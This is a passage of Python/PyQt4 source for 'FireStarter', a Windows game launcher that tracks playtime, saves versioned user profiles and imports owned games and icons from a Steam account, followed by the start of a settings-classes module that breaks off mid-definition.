AddEntry(self, entry): """ Abstract method, please reimplement in subclasses to add entries to the list. """ raise NotImplementedError('Call to abstract class method \'AddEntry\' in EntryItem-object.') def ChooseIconForItem(self): item = self.currentItem() if not item: return dlg = ChooseIconDialog(self, file=item.entry.filename, suggestions=True) result = dlg.exec_() if result == None: return else: path, id = result item.entry.iconPath = path item.entry.preferredIcon = id item.entry.LoadIcon() item.entry.UpdateIcon.emit() self.IconChanged.emit() item.entry.UpdateProfile.emit() def EditItem(self): item = self.currentItem() if not item: return dlg = EntryPropertiesDialog(entry=item.entry, parent=self) result = dlg.exec_() def ItemSelectionChanged(self): row = self.currentRow() if len(self.selectedItems())==0: # nothing selected, disable both directions self.FirstItemSelected.emit() # disables 'Up' self.LastItemSelected.emit() # disables 'Down' return self.EnableReorderButtons.emit() # enables both directions if row == 0: self.FirstItemSelected.emit() # disables 'Up' if row == self.count()-1: self.LastItemSelected.emit() # disables 'Down' def RemoveItem(self): item = self.currentItem() if not item: return self.parent().RemoveItem(item) def RenameItem(self): item = self.currentItem() if not item: return entry = item.entry text, accepted = QtGui.QInputDialog.getText(self, "Rename %s" % entry.label, "Please enter new name:", text=entry.label) if accepted: entry.label = unicode(text) item.UpdateText() item.entry.UpdateProfile.emit() def RunItem(self,item): item.entry.Run() class CategoryListWidget(CategoryWidget): def __init__(self, parent=None, iconSize = 16): CategoryWidget.__init__(self, parent, iconSize) # layout/design initialization self.setViewMode(QtGui.QListView.ListMode) size = QtCore.QSize(iconSize,iconSize) self.setIconSize(size) self.setMovement(QtGui.QListView.Static) style = "QListView { background-image: url(gfx/wood-texture.jpg); color: white; background-attachment: fixed; }"\ + "QListView::item { border: 1px solid rgba(0,0,0,0%); }"\ + "QListView::item:hover { background: rgba(0,0,0, 18%); border: 1px solid rgba(0,0,0,0%); }"\ + "QListView::item:selected { background: rgba(0,0,0, 35%); border: 1px solid black; }" #self.setStyleSheet(style) def AddEntry(self, entry): e = EntryListItem(entry=entry, parent=self, iconSize=self.iconSize) class CategoryIconWidget(CategoryWidget): def __init__(self, parent=None, iconSize = 128): CategoryWidget.__init__(self, parent, iconSize) # layout/design initialization size = QtCore.QSize(iconSize,iconSize) textSize = QtCore.QSize(0, 33) spacing = QtCore.QSize(20,20) self.setViewMode(QtGui.QListView.IconMode) self.setSpacing(20) self.setIconSize(size) self.setGridSize(size+textSize+spacing) self.setMovement(QtGui.QListView.Static) #self.setResizeMode(QtGui.QListView.Adjust) self.setUniformItemSizes(True) self.clearSelection() style = "QListView { background-image: url(gfx/wood-texture.jpg); background-attachment: fixed; }"\ + "QListView::item { color: white; border: 1px solid rgba(0,0,0,0%); }"\ + "QListView::item:hover { background: rgba(0,0,0, 18%); border: 1px solid rgba(0,0,0,0%); }"\ + "QListView::item:selected { background: rgba(0,0,0, 35%); border: 1px solid black; }" self.setStyleSheet(style) def AddEntry(self, entry): e = EntryIconItem(entry=entry, parent=self, iconSize=self.iconSize) class DetailsWidget(QtGui.QWidget): """ Shows detailed information on an entry, such as a large icon, its title and playtime """ def __init__(self, parent=None, entry=None): QtGui.QWidget.__init__(self, parent) self.entry = entry # init labels nameFont = QtGui.QFont("Calibri", 20, QtGui.QFont.Bold) self.nameLabel = QtGui.QLabel("Unknown application") self.nameLabel.setFont(nameFont) timeFont = QtGui.QFont("Calibri", 12, italic=True) self.playtimeLabel = QtGui.QLabel("Never played") self.playtimeLabel.setFont(timeFont) picture = QtGui.QPixmap(os.path.join("gfx","noicon.png")) self.pictureLabel = QtGui.QLabel() self.pictureLabel.setPixmap(picture) if self.entry is not None: self.SetEntry(entry) # init layout lay = QtGui.QHBoxLayout() layV = QtGui.QVBoxLayout() layV.addStretch(1) layV.addWidget(self.nameLabel, 0, QtCore.Qt.AlignVCenter) layV.addWidget(self.playtimeLabel, 0, QtCore.Qt.AlignVCenter) layV.addStretch(1) lay.addWidget(self.pictureLabel) lay.addLayout(layV) self.setLayout(lay) def SetEntry(self, entry): self.entry = entry self.nameLabel.setText(entry.label) picture = entry.icon.pixmap(256,256) self.pictureLabel.setPixmap(picture) self.UpdateText() def UpdateText(self): entry = self.entry if entry.running: timeText = "Currently running..." else: if entry.totalTime == 0.: timeText ="Never played" else: timeText = formatTime(entry.totalTime) + " played" timeText += "\nLast played: " + formatLastPlayed(entry.lastPlayed) self.playtimeLabel.setText(timeText) class CategoryListAndDetailsWidget(QtGui.QWidget): FirstItemSelected = pyqtSignal() IconChanged = pyqtSignal() LastItemSelected = pyqtSignal() EnableReorderButtons = pyqtSignal() ProfileChanged = pyqtSignal() def __init__(self, parent=None): QtGui.QWidget.__init__(self, parent) # init layout lay = QtGui.QHBoxLayout() self.catWdg = CategoryListWidget(self) self.detWdg = DetailsWidget(self) lay.addWidget(self.catWdg) lay.addWidget(self.detWdg, 1, QtCore.Qt.AlignTop ) # higher stretch self.setLayout(lay) # connect widgets self.catWdg.ProfileChanged.connect(self.ProfileChangedSlot) self.catWdg.currentItemChanged.connect(self.CurrentItemChanged) self.catWdg.IconChanged.connect(self.IconChanged) self.catWdg.FirstItemSelected.connect(self.FirstItemSelectedSlot) self.catWdg.LastItemSelected.connect(self.LastItemSelectedSlot) self.catWdg.EnableReorderButtons.connect(self.EnableReorderButtonsSlot) # set stylesheet style = " background-image: url(gfx/wood-texture.jpg); color: white; background-attachment: fixed; "\ + "QLabel { color: white; }"\ + "QListView { color: white; }"\ # + "QListView::item { border: 1px solid rgba(0,0,0,0%); }"\ # + "QListView::item:hover { background: rgba(0,0,0, 18%); border: 1px solid rgba(0,0,0,0%); }"\ # + "QListView::item:selected { background: rgba(0,0,0, 35%); border: 1px solid black; }" #self.setStyleSheet(style) def clear(self): return self.catWdg.clear() def clearSelection(self): return self.catWdg.clearSelection() def count(self): return self.catWdg.count() def currentRow(self): return self.catWdg.currentRow() def insertItem(self, row, item): return self.catWdg.insertItem(row, item) def item(self, row): return self.catWdg.item(row) def row(self, item): return self.catWdg.row(item) def selectedItems(self): return self.catWdg.selectedItems() def setCurrentRow(self, row): return self.catWdg.setCurrentRow(row) def sortItems(self): self.catWdg.sortItems() def takeItem(self, row): return self.catWdg.takeItem(row) def AddEntry(self, entry): self.catWdg.AddEntry(entry) def CurrentItemChanged(self, item): if item is not None: self.detWdg.SetEntry(item.entry) def IconChanged(self): item = self.catWdg.currentItem() self.CurrentItemChanged(item) def RemoveItem(self, item, row): self.parent().RemoveItem(item, row) # just pass these signals on def EnableReorderButtonsSlot(self): self.EnableReorderButtons.emit() def FirstItemSelectedSlot(self): self.FirstItemSelected.emit() def LastItemSelectedSlot(self): self.LastItemSelected.emit() def ProfileChangedSlot(self): self.ProfileChanged.emit() class MainWidget(QtGui.QWidget): ManualSortingEnabled = pyqtSignal() PlaytimeChanged = pyqtSignal(int) def __init__(self, parent=None): QtGui.QWidget.__init__(self, parent) self.setAcceptDrops(True) self.entries = [] self.lastManuallySortedEntries = self.entries self.InitLayout() self.isManuallySorted = True self.sortMode = "manual" def dragEnterEvent(self, event): if (event.mimeData().hasUrls()): nonLocal = False for url in event.mimeData().urls(): if(url.toLocalFile()==""): nonLocal=True if not nonLocal: event.acceptProposedAction() def dropEvent(self, event): for url in event.mimeData().urls(): self.ParseUrl(url) event.acceptProposedAction() def AddEntry(self, entry, manuallySorted = False): self.entries.append(entry) # send to child layouts for catWdg in self.catWidgets.values(): catWdg.AddEntry(entry) entry.UpdateProfile.connect(self.parent().SaveProfile) entry.UpdateProfile.connect(self.UpdatePlaytime) entry.ManualTracking.connect(self.StartManualTracking) if manuallySorted: self.lastManuallySortedEntries = self.entries self.isManuallySorted = True self.UpdatePlaytime() def AddManuallyTrackedTime(self, entry, time): if not entry.running: entry.totalTime += time #print "Added %s to %s." % (formatTime(time), entry.label) else: raise Exception("FATAL: Trying to add manual time to a running entry!") entry.UpdateText.emit() entry.UpdateProfile.emit() def ConnectToToolsBar(self, tb): for wdg in self.catWidgets.values(): wdg.EnableReorderButtons.connect(tb.EnableButtons) wdg.FirstItemSelected.connect(tb.DisableUpButton) wdg.LastItemSelected.connect(tb.DisableDownButton) self.PlaytimeChanged.connect(tb.UpdatePlaytime) def InitLayout(self): self.iconSize = 256 self.setLayout(QtGui.QStackedLayout()) self.catWidgets = {} self.catWidgetIndices = {} for iconSize in (16,32,48,128,256): if iconSize == 16: wdg = CategoryListAndDetailsWidget(self) else: wdg = CategoryIconWidget(self, iconSize) self.catWidgets[iconSize] = wdg self.catWidgetIndices[iconSize] = self.layout().addWidget(wdg) wdg.ProfileChanged.connect(self.parent().SaveProfile) self.SetIconSize(self.iconSize) def MoveItemUp(self): row = self.activeCatWdg.currentRow() if row == 0: return self.SwapItems(row, row-1) self.activeCatWdg.setCurrentRow(row-1) self.SetNewManualOrder() def MoveItemDown(self): row = self.activeCatWdg.currentRow() if row == self.activeCatWdg.count()-1: return self.SwapItems(row, row+1) self.activeCatWdg.setCurrentRow(row+1) self.SetNewManualOrder() def ParseUrl(self, url): file = unicode(url.toLocalFile()) if (file == ""): QtGui.QMessageBox.critical(self, "Error", "Unable to parse filename.") return # walk down shortcuts while (file.endswith(".lnk")): shell = win32com.client.Dispatch("WScript.Shell") shortcut = shell.CreateShortCut(file) file = os.path.normpath(shortcut.Targetpath) if not os.path.exists(file): QtGui.QMessageBox.critical(self, "Error", "Could not find shortcut target '%s'. Broken link?" % file) return entry = AppStarterEntry(file, self) try: entry.LoadIcon(256) # always load largest icon because otherwise we would scale up when increasing icon size at runtime except IOError: QtGui.QMessageBox.warning(self, "Warning", "No icon found in '%s.'" % file) entry.preferredIcon = -1 entry.LoadIcon(256) # load default icon if entry.preferredIcon != -1: # try to copy and save icon to a local folder in case the icon becomes unavailable in the future pm = entry.icon.pixmap(entry.icon.actualSize(QtCore.QSize(256,256))) iconFilename = stringToFilename(entry.label) i = 0 while(os.path.exists(os.path.join("cache", "icons", iconFilename))): iconFilename = "%s%i" % (stringToFilename(entry.label), i) fullName = os.path.join("cache", "icons", iconFilename+".png") pm.save(fullName, "PNG", 100) entry.preferredIcon = -2 entry.iconPath = fullName self.AddEntry(entry) self.parent().SaveProfile() self.SetNewManualOrder() def Refill(self, entries): """ Clear all entries and repopulate the list with the given entries, which might be a sorted version of the old list, for instance. """ self.entries = [] for catWdg in self.catWidgets.values(): catWdg.clear() for e in entries: self.AddEntry(e) def RemoveItem(self, item): msg = QtGui.QMessageBox(QtGui.QMessageBox.Warning, "Warning: Deleting entry", "Do you really want to remove this entry? All"+\ " information and playtime will be lost and can not be restored!", QtGui.QMessageBox.Ok | QtGui.QMessageBox.Cancel, self) result = msg.exec_() if result == QtGui.QMessageBox.Cancel: return # find entry try: index = self.entries.index(item.entry) except ValueError: raise ValueError("Tried to remove entry from main widget's entry list, but it is not present!") # delete entry self.entries.pop(index) self.lastManuallySortedEntries.pop(self.lastManuallySortedEntries.index(item.entry)) row = self.layout().currentWidget().row(item) for wdg in self.catWidgets.values(): i = wdg.takeItem(row) del i self.parent().SaveProfile() def RestoreLastManualSorting(self): if self.isManuallySorted: return else: self.sortMode = "manual" self.isManuallySorted = True self.Refill(self.lastManuallySortedEntries) def SetIconSize(self, size): self.iconSize = size if len(self.layout().currentWidget().selectedItems()) > 0: curRow = self.layout().currentWidget().currentRow() else: curRow = -1 self.layout().setCurrentIndex(self.catWidgetIndices[size]) self.activeCatWdg = self.catWidgets[size] if curRow >= 0: self.layout().currentWidget().setCurrentRow(curRow) else: self.layout().currentWidget().clearSelection() def SetNewManualOrder(self): """ Set the current entry order as the new manual one. """ self.sortMode = "manual" self.isManuallySorted = True self.lastManuallySortedEntries = self.entries self.ManualSortingEnabled.emit() def SortByCurrentSortMode(self): if self.sortMode == "time": self.SortByTime() elif self.sortMode == "title": self.SortByTitle() else: return # manual sorting or unsupported string def SortByTime(self): if self.isManuallySorted: self.lastManuallySortedEntries = self.entries self.isManuallySorted = False self.sortMode = "time" # sort all child widgets by time entries = sorted(self.entries, key=lambda entry: entry.totalTime, reverse=True) self.Refill(entries) def SortByTitle(self): if self.isManuallySorted: self.lastManuallySortedEntries = self.entries self.isManuallySorted = False self.sortMode = "title" # sort all child widgets by title entries = sorted(self.entries, key=lambda entry: din5007(entry.label)) self.Refill(entries) def StartManualTracking(self, entry): dlg = ManualTrackingDialog(entry, self) dlg.show() dlg.AddTimeSignal.connect(self.AddManuallyTrackedTime) def SwapItems(self, id_a, id_b): e_a = self.entries[id_a] e_b = self.entries[id_b] self.entries[id_a] = e_b self.entries[id_b] = e_a for wdg in self.catWidgets.values(): itm_a = wdg.item(id_a) itm_b = wdg.item(id_b) wdg.takeItem(wdg.row(itm_a)) wdg.takeItem(wdg.row(itm_b)) if id_a < id_b: wdg.insertItem(id_a, itm_b) wdg.insertItem(id_b, itm_a) else: wdg.insertItem(id_b, itm_a) wdg.insertItem(id_a, itm_b) def UpdatePlaytime(self): self.PlaytimeChanged.emit(sum([e.totalTime for e in self.entries])) class MainWindow(QtGui.QMainWindow): RestartCode = 1337 def __init__(self): QtGui.QMainWindow.__init__(self) # UI initialization self.resize(800,600) self.setWindowTitle("FireStarter") self.setWindowIcon(QtGui.QIcon(os.path.join("gfx","fire.ico"))) self.setCentralWidget(MainWidget(self)) # init toolbar self.toolsBar = ToolsToolbar(self) self.addToolBar(self.toolsBar) self.centralWidget().ConnectToToolsBar(self.toolsBar) # init menus and connections self.InitMenus() self.InitConnections() # init profile self.fileParser = FileParser() self.erroneousProfile = False self.profile = ProfileSettings() self.autosaveDisabled = False lastProfile = self.GetLastProfileName() # try to determine last profile first if lastProfile is not None and not os.path.isfile(lastProfile): QtGui.QMessageBox.warning(self, "Warning", "Could not find your last profile '%s'.\nPlease select a profile manually." % lastProfile) lastProfile = None if lastProfile is None: # if failed, let the user select a profile or create a new one selectedProfile = self.InvokeProfileSelection() if lastProfile is not None: self.profileName = lastProfile elif selectedProfile is not None: self.profileName = selectedProfile else: self.profileName = None self.erroneousProfile = True QtGui.QMessageBox.information(self, "Information", "No profile was selected.\nChanges made during this session will not be saved.") if self.profileName is not None: try: self.LoadProfile(self.profileName) except (ValueError, EOFError, IOError) as e: self.erroneousProfile = True # this will disable saving the profile completely. QtGui.QMessageBox.critical(self, "Error", ("An error occured when loading the profile '%s'.\n" % self.profileName) + \ "Please fix your profile and restart the program.\nChanges made during this session will not be saved." + \ "\n\nError message: '%s'" % str(e)) # reimplemented Qt-style in closeEvent #def __del__(self): # self.SaveProfile() # self.fileParser.__del__() def closeEvent(self, e): self.hide() if not self.autosaveDisabled: self.SaveProfile() self.fileParser.__del__() QtGui.QMainWindow.closeEvent(self, e) #def moveEvent(self, e): # pass #def resizeEvent(self, e): # pass def ConnectToSteamProfile(self): # if another connect to steam dialog was canceled and then this routine is called shortly afterwards, # the old query thread might still be active, delaying deletion of the old dialog object and leading # to an error when QT cleanup routines want the worker thread to disconnect timers set by the main thread. # Thus, wait until the old query has finished. # This should happen very rarely though. if hasattr(self, 'steamConnectDlg'): if self.steamConnectDlg.queryThread.isAlive(): self.steamConnectDlg.queryThread.join() dlg = self.steamConnectDlg = SteamProfileDialog(self) result = dlg.exec_() if result == QtGui.QDialog.Accepted: if self.profile.steamId not in ('0', None): confirm = QtGui.QMessageBox.question(self, "Please confirm", "This profile is already connected to a Steam account with id"\ +" <b>%s</b>.\n" % self.profile.steamId\ + "Do you want to replace the connection with the new account <b>%s</b>?" %dlg.steamId,\ QtGui.QMessageBox.Yes | QtGui.QMessageBox.No) if confirm == QtGui.QMessageBox.No: return self.profile.steamId = dlg.steamId if dlg.downloadProfileData: self.setCursor(Qt.WaitCursor) QtGui.qApp.processEvents() api = SteamApi() games = api.GetOwnedGames(dlg.steamId) gameObjs = [] for g in games: if "playtime_forever" in g and g["playtime_forever"] > 0: gameObj = SteamGameStats(g["appid"], g["name"], g["playtime_forever"], g["img_icon_url"], g["img_logo_url"]) gameObjs.append(gameObj) dls = 0 alreadyPresent = 0 # download icons for g in gameObjs: iconurl = "http://media.steampowered.com/steamcommunity/public/images/apps/%s/%s.jpg" % (g.appid, g.iconUrl) localPath = os.path.join("cache", "steam", "%s_%s.jpg" % (g.appid, g.iconUrl)) if os.path.isfile(localPath): alreadyPresent += 1 continue try: with open(localPath, 'wb') as localFile: iconFile = urllib2.urlopen(iconurl, timeout=20) localFile.write(iconFile.read()) iconFile.close() dls += 1 except (IOError, urllib2.URLError): continue #print "%s: %s" % (g.name, formatTime(60.*g.playtime)) self.profile.steamGames = [] for sgs in gameObjs: se = SteamEntry() se.ImportFromSteamGameStats(sgs) self.profile.steamGames.append(se) self.setCursor(Qt.ArrowCursor) self.SaveProfile() def GetLastProfileName(self): if not os.path.isfile('lastprofile'): return None with openFileWithCodepage('lastprofile', 'r') as f: lastprofile = f.readline() return lastprofile if len(lastprofile) > 0 else None def InitConnections(self): self.toolsBar.iconSizeComboBox.IconSizeChanged.connect(self.SetIconSize) self.toolsBar.upBtn.clicked.connect(self.centralWidget().MoveItemUp) self.toolsBar.downBtn.clicked.connect(self.centralWidget().MoveItemDown) self.toolsBar.statsBtn.clicked.connect(self.ShowStats) self.toolsBar.sortComboBox.ManualSortingSelected.connect(self.centralWidget().RestoreLastManualSorting) self.toolsBar.sortComboBox.SortByTitleSelected.connect(self.centralWidget().SortByTitle) self.toolsBar.sortComboBox.SortByTimeSelected.connect(self.centralWidget().SortByTime) self.centralWidget().ManualSortingEnabled.connect(self.toolsBar.sortComboBox.SelectManualSorting) def InitMenus(self): self.settingsMenu = SettingsMenu(self, self.centralWidget().iconSize) self.viewMenu = ViewMenu(self, showTools=self.toolsBar.toggleViewAction()) self.fileMenu = FileMenu(self) self.profileMenu = ProfileMenu(self) self.menuBar().addMenu(self.fileMenu) self.menuBar().addMenu(self.profileMenu) self.menuBar().addMenu(self.viewMenu) self.menuBar().addMenu(self.settingsMenu) def InvokeProfileSelection(self): pDlg = ProfileSelectionDialog(self) result = pDlg.exec_() if result == QtGui.QDialog.Rejected: return None elif result == QtGui.QDialog.Accepted: if pDlg.newProfile: self.SaveDefaultProfile(pDlg.profileName) return pDlg.profileName def ManageLibrary(self): entries = [] entries.extend(self.centralWidget().entries) entries.extend(self.profile.steamGames) dlg = ManageLibraryDialog(entries) dlg.exec_() def LoadProfile(self, filename=None): """ Load profile specified by filename, or by self.profileName if no filename is given. Returns True if loading was erroneous, otherwise returns False. """ bestProfileVersion = '0.1c' bestEntryVersion = '0.1b' bestSteamEntryVersion='Steam_0.1a' backupProfile = False defaultBackup = True # always make a default backup as safety for loading errors updateInfoBoxAlreadyShowed = False if filename is None: filename = self.profileName if not os.path.exists(filename): # suppress this box as this error will just evoke the profile selection dialog #QtGui.QMessageBox.critical(self, "Error", "Profile '%s' not found!" % filename) raise IOError('Profile not found') return True if defaultBackup: shutil.copyfile(filename, "~"+filename+".bak") # determine encoding with open(filename, 'r') as f: codepage = f.readline().strip() codepage = codepage.replace('# -*- coding:','').replace('-*-','').strip() if len(codepage) == 0: raise ValueError('Empty profile') return True # try to open file with this encoding try: f = codecs.open(filename, 'r', codepage) f.close() except LookupError: # unknown coding QtGui.QMessageBox.critical(self, "Error", "Unknown codepage '%s' used in profile '%s'.\nPlease fix this manually. Loading empty profile." % (codepage, filename)) raise ValueError('Unknown codepage') return True p = ProfileSettings() fp = self.fileParser # open file with codecs.open(filename, 'r', codepage) as f: f.readline() # skip codepage profileVersion = f.readline().strip() # read file format version if profileVersion not in FileParser.profileFormats: QtGui.QMessageBox.critical(self, "Profile error", "Unsupported file format (%s) for profile '%s'!\nAborting load process." % (profileVersion, filename)) raise ValueError('Unsupported file format') return True try: fp.ParseByVersion(file=f, handler=p, version=profileVersion, type='profile') except ValueError as e: QtGui.QMessageBox.critical(self, "Profile loading error", str(e)) raise ValueError(str(e)) return True if bestProfileVersion != profileVersion: count = fp.CompleteProfile(p, bestProfileVersion) backupProfile = True if count > 0 and not updateInfoBoxAlreadyShowed: QtGui.QMessageBox.information(self, "Information", "Your profile has been updated to a newer version.\n"\ + "Should any problems occur, a backup is available: %s" % (filename+"."+profileVersion)) updateInfoBoxAlreadyShowed = True for i in range(p.numEntries): entryVersion = f.readline().strip() # read file format version if entryVersion.startswith('Steam'): entryType = 'steam' if entryVersion not in FileParser.steamEntryFormats: QtGui.QMessageBox.critical(self, "Profile error", "Unsupported file format (%s) for Steam entry in profile '%s'!\nAborting load process." % (entryVersion, filename)) raise ValueError('Unsupported file format') return True entry = SteamEntry() eHndlr = SteamEntrySettings() else: entryType = 'entry' if entryVersion not in FileParser.entryFormats: QtGui.QMessageBox.critical(self, "Profile error", "Unsupported file format (%s) for entry in profile '%s'!\nAborting load process." % (entryVersion, filename)) raise ValueError('Unsupported file format') return True entry = AppStarterEntry(parentWidget=self.centralWidget()) eHndlr = EntrySettings() try: fp.ParseByVersion(file=f, handler=eHndlr, version=entryVersion, type=entryType ) except ValueError as e: QtGui.QMessageBox.critical(self, "Profile loading error (entry)", str(e)) raise ValueError(str(e)) return True except EOFError: QtGui.QMessageBox.critical(self, "End of file error", "Unable to load entry %i from profile '%s'!\nEntries might be incomplete." % (i+1, filename)) raise EOFError('Incomplete entry') return True if type=='entry' and bestEntryVersion != entryVersion \ or type=='steam' and bestSteamEntryVersion != entryVersion: count = fp.CompleteEntry(eHndlr, bestEntryVersion if type=='entry' else bestSteamEntryVersion) backupProfile = True if count > 0 and not updateInfoBoxAlreadyShowed: QtGui.QMessageBox.information(self, "Information", "Your profile has been updated to a newer version.\n"\ + "Should any problems occur, a backup is available: %s" % (filename+"."+profileVersion)) updateInfoBoxAlreadyShowed = True # copy data from EntrySettings object to actual entry if entryType=='entry': for var, vartype in FileParser.entryFormats[bestEntryVersion]: setattr(entry, var, getattr(eHndlr, var)) elif entryType=='steam': for var, vartype in FileParser.steamEntryFormats[bestSteamEntryVersion]: setattr(entry, var, getattr(eHndlr, var)) failedToLoadIcon = False try: entry.LoadIcon(256) # always load largest icon because otherwise we would scale up when increasing icon size at runtime except IOError: # ignore icon loading errors, probably just opening the profile on another machine - just show the default icon failedToLoadIcon = True if entryType =='entry': # preferred icon only for non-steam entries if entry.preferredIcon != -1 and not failedToLoadIcon: # try to copy and save icon to a local folder in case the icon becomes unavailable in the future pm = entry.icon.pixmap(entry.icon.actualSize(QtCore.QSize(256,256))) iconFilename = stringToFilename(entry.label) i = 0 while(os.path.exists(os.path.join("cache", "icons", iconFilename))): iconFilename = "%s%i" % (stringToFilename(entry.label), i) fullName = os.path.join("cache", "icons", iconFilename+".png") pm.save(fullName, "PNG", 100) entry.preferredIcon = -2 entry.iconPath = fullName elif failedToLoadIcon: entry.icon=QtGui.QIcon(os.path.join("gfx","noicon.png")) self.centralWidget().AddEntry(entry, manuallySorted=True) # always add as manually sorted, might be overwritten later elif entryType=='steam': p.steamGames.append(entry) if backupProfile: shutil.copy(filename, filename+"."+profileVersion) # apply settings try: self.SetIconSize(p.iconSize) except ValueError: QtGui.QMessageBox.warning(self, "Warning", "Invalid icon size in profile: %ix%ipx" %(p.iconSize,p.iconSize)) try: self.resize(p.windowSize[0], p.windowSize[1]) except ValueError: QtGui.QMessageBox.warning(self, "Warning", "Invalid window size in profile: %ix%i" %(p.windowSize[0],p.windowSize[1])) try: self.move(p.windowPos[0], p.windowPos[1]) except ValueError: QtGui.QMessageBox.warning(self, "Warning", "Invalid window position in profile: %i, %i" %(p.windowPos[0],p.windowPos[1])) if p.sortMode not in ("manual", "title", "time"): QtGui.QMessageBox.warning(self, "Warning", "Invalid sort mode '%s' in profile, defaulting to manual sorting." % p.sortMode) self.centralWidget().sortMode = "manual" else: self.centralWidget().sortMode = p.sortMode self.centralWidget().SortByCurrentSortMode() self.toolsBar.sortComboBox.setCurrentIndex(1 if p.sortMode == "title" else 2 if p.sortMode == "time" else 0) self.toolsBar.setVisible(p.toolsVisible) self.profile = p # store as last profile codepage = 'utf-8' with codecs.open('lastprofile', 'w', codepage) as f: f.write("# -*- coding: %s -*-\n" % codepage) f.write(filename) return False def SaveDefaultProfile(self, filename): codepage = 'utf-8' profileVersion = '0.1c' p = ProfileSettings.Default() fp = self.fileParser with codecs.open(filename, 'w', codepage) as f: f.write("# -*- coding: %s -*-\n" % codepage) f.write(profileVersion+'\n') fp.WriteByVersion(file=f, handler=p, version=profileVersion, type='profile') # no entries def SaveProfile(self, filename=None, DisableAutosave=False): """ Save profile to filename or to the current profile name if no filename is specified. Use DisableAutosave to disable automatic saving (when closing the program) until the next manual save. """ self.autosaveDisabled = DisableAutosave # do not save if profile was not loaded correctly if self.erroneousProfile: return if filename is None: filename = self.profileName codepage = 'utf-8' profileVersion = '0.1c' entryVersion = '0.1b' steamEntryVersion='Steam_0.1a' p = self.profile p.iconSize = self.centralWidget().iconSize p.numEntries = len(self.centralWidget().entries) + len(self.profile.steamGames) p.windowSize = (self.size().width(), self.size().height()) p.windowPos = (self.x(), self.y()) p.toolsVisible = self.viewMenu.showTools.isChecked() p.sortMode = self.centralWidget().sortMode fp = self.fileParser #startTime = time.clock() with codecs.open(filename, 'w', codepage) as f: f.write("# -*- coding: %s -*-\n" % codepage) f.write(profileVersion+'\n') # always write file format version first fp.WriteByVersion(file=f, handler=p, version=profileVersion, type='profile') for entry in self.centralWidget().lastManuallySortedEntries: f.write(entryVersion+'\n')# always write file format version first fp.WriteByVersion(file=f, handler=entry, version=entryVersion, type='entry') for se in self.profile.steamGames: f.write(steamEntryVersion+'\n')# always write file format version first fp.WriteByVersion(file=f, handler=se, version=steamEntryVersion, type='steam') #print "Saved profile in %f seconds." % (time.clock() - startTime) def SetIconSize(self, size): self.iconSize = size self.toolsBar.iconSizeComboBox.SetCurrentSize(size) self.settingsMenu.CheckIconSizeAction(size) self.centralWidget().SetIconSize(size) self.SaveProfile() def ShowStats(self): dlg = StatsOverviewDialog(self.centralWidget().entries, self, self.profile.steamGames) dlg.show() def SwitchProfile(self): pDlg = ProfileSelectionDialog(self) result = pDlg.exec_() if result == QtGui.QDialog.Rejected: return None elif result == QtGui.QDialog.Accepted: if pDlg.newProfile: self.SaveDefaultProfile(pDlg.profileName) name = pDlg.profileName # store as last profile codepage = 'utf-8' with codecs.open('lastprofile', 'w', codepage) as f: f.write("# -*- coding: %s -*-\n" % codepage) f.write(name) # save profile self.SaveProfile(DisableAutosave=True) # restart program QtGui.qApp.exit(MainWindow.RestartCode) def UpdateIconSizeFromMenu(self): # determine new icon size curAction = self.settingsMenu.iconSizeActions.checkedAction().text() size = int(curAction.split('x')[0]) self.SetIconSize(size) class ViewMenu(QtGui.QMenu): def __init__(self, parent=None, showTools=None): QtGui.QMenu.__init__(self, "&View", parent) if showTools: self.showTools = showTools self.showTools.setText("Show &tools") self.addAction(self.showTools) class SettingsMenu(QtGui.QMenu): def __init__(self, parent=None, iconSize=48): QtGui.QMenu.__init__(self, "&Settings", parent) # icon sizes iconSizes = self.addMenu("&Icon size...") self.iconSizeActions = QtGui.QActionGroup(iconSizes) for size in (16,32,48,128,256): act = QtGui.QAction("%ix%i" %(size, size), iconSizes) act.setCheckable(True) if size == iconSize: act.setChecked(True) self.iconSizeActions.addAction(act) iconSizes.addAction(act) self.InitConnections() def CheckIconSizeAction(self, size): found = False for act in self.iconSizeActions.actions(): if act.text() == "%ix%i" % (size,size): act.setChecked(True) found = True else: act.setChecked(False) if not found: raise ValueError('Tried to select unsupported icon size in settings menu: %ix%ipx' %(size,size)) def InitConnections(self): self.iconSizeActions.triggered.connect(self.parent().UpdateIconSizeFromMenu) class ProfileMenu(QtGui.QMenu): def __init__(self, parent=None): QtGui.QMenu.__init__(self, "&Profile", parent) self.switchAction = QtGui.QAction("S&witch profile", self) self.settingsAction = QtGui.QAction("&Settings", self) self.libraryAction = QtGui.QAction("Manage &library", self) self.addAction(self.libraryAction) self.addSeparator() self.addAction(self.switchAction) self.addAction(self.settingsAction) self.InitConnections() def InitConnections(self): self.switchAction.triggered.connect(self.parent().SwitchProfile) self.libraryAction.triggered.connect(self.parent().ManageLibrary) class FileMenu(QtGui.QMenu): def __init__(self, parent=None): QtGui.QMenu.__init__(self, "&File", parent) self.steamProfileAction = QtGui.QAction("Add &Steam profile", self) self.exitAction = QtGui.QAction("E&xit", self) self.addAction(self.steamProfileAction) self.addSeparator() self.addAction(self.exitAction) self.InitConnections() def InitConnections(self): self.steamProfileAction.triggered.connect(self.parent().ConnectToSteamProfile) self.exitAction.triggered.connect(self.parent().close)
Python
# -*- coding: utf-8 -*- # # This code is due to Andreas Maier and licensed under the MIT License http://opensource.org/licenses/MIT # http://code.activestate.com/recipes/576507-sort-strings-containing-german-umlauts-in-correct-/ # import codecs import time, datetime import threading, string from types import * STAMPFORMAT = '(%d.%m.%Y - %H:%M:%S) ' class ProfileSettings: """ Container class for keeping settings saved to or loaded from a profile file """ def __init__(self): # None values are unknown yet self.iconSize = None self.numEntries = None self.windowSize = None self.windowPos = None self.toolsVisible = None self.sortMode = None self.steamId = None #self.entries = [] self.steamGames = [] @staticmethod def Default(): d = ProfileSettings() d.iconSize = 128 d.numEntries = 0 d.windowSize = (800,600) d.windowPos = (0,0) d.toolsVisible = 1 d.sortMode = "manual" d.steamId = '0' d.steamGames = [] return d class EntrySettings: """ Container class for keeping settings specific to a single entry """ def __init__(self): self.filename = None self.workingDir = None self.label = None self.cmdLineArgs = None self.iconPath = None self.preferredIcon = None self.position = None self.totalTime = None self.lastPlayed = None @staticmethod def Default(): d = EntrySettings() d.filename = "" d.workingDir = "" d.label = "Unknown entry" d.cmdLineArgs = "" d.iconPath = "" d.preferredIcon = -1 d.position = 0 d.totalTime = 0. d.lastPlayed = 0. return d class SteamEntrySettings: """ Container class for keeping settings specific to a single Steam entry """ def __init__(self): self.label = None self.totalTime = None self.iconPath = None self.appid = None @staticmethod def Default(): d = SteamEntrySettings() 